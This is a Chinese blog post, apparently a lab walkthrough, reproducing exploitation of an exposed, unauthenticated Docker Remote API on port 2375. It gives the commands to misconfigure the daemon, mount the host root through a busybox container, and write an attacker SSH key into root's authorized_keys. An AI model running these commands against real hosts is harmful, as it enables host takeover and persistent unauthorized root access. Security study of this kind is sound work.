环境配置

受害机:CentOS
攻击者:kali
配置docker配置文件,使得测试机存在未授权访问
vim /usr/lib/systemd/system/docker.service
原本[Service] ExecStart参数
docker未授权攻击利用复现-小白菜博客
修改为
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
重启docker服务

systemctl daemon-reload
systemctl restart docker

查看docker进程

ps -ef|grep docker

docker未授权攻击利用复现-小白菜博客
Docker守护进程打开了一个HTTP Socket,才能实现远程通信
在我的CentOS虚拟机上进行测试的时候,需要关闭防火墙才能被访问到

systemctl status firewalld
#查看防火墙运行状态
systemctl stop firewalld
#关闭防火墙

在我们的攻击机上就可以正常访问并执行命令了
image

利用

创建容器并挂载主机目录

使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。busybox体积小,从仓库拉取的速度也更快,同时命令也齐全,搞起来方便。

docker -H tcp://xx.xx.xx.xx run --rm -it -v /:/mnt busybox chroot /mnt sh

参数含义:

  • --rm 容器停止时自动删除该容器
  • -privileged 使用该参数,container内的root有真正root权限。否则container内的root只是外部一个普通用户权限。privileged启动的容器,可以看到很多host上的设备,并可以执行mount;允许字docker容器中启动docker容器。
  • -v 挂载目录。格式 系统目录:容器目录
  • chroot /mnt 更改root目录,系统默认目录结构以 /(root) 开始,使用chroot后,系统目录结构以指定的 /mnt 位置作为 / 位置。最后的sh是我们使用的shell
    docker未授权攻击利用复现-小白菜博客
    可以看到直接进入了系统目录

写入攻击者的公钥

在攻击机上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器

查看本机ssh公钥及生成公钥
本机存在id_rsa.pub文件:cat /root/.ssh/id_rsa.pub
本机不存在则生成:执行ssh-keygen
本地不存在.ssh目录
执行ssh localhost

docker未授权攻击利用复现-小白菜博客
不存在authorized_keys文件,新建并写入(存在追加即可)
重启ssh服务
systemctl restart sshd
docker未授权攻击利用复现-小白菜博客
能够成功登录
image

利用条件与检测

参考

Docker Remote API未授权访问漏洞复现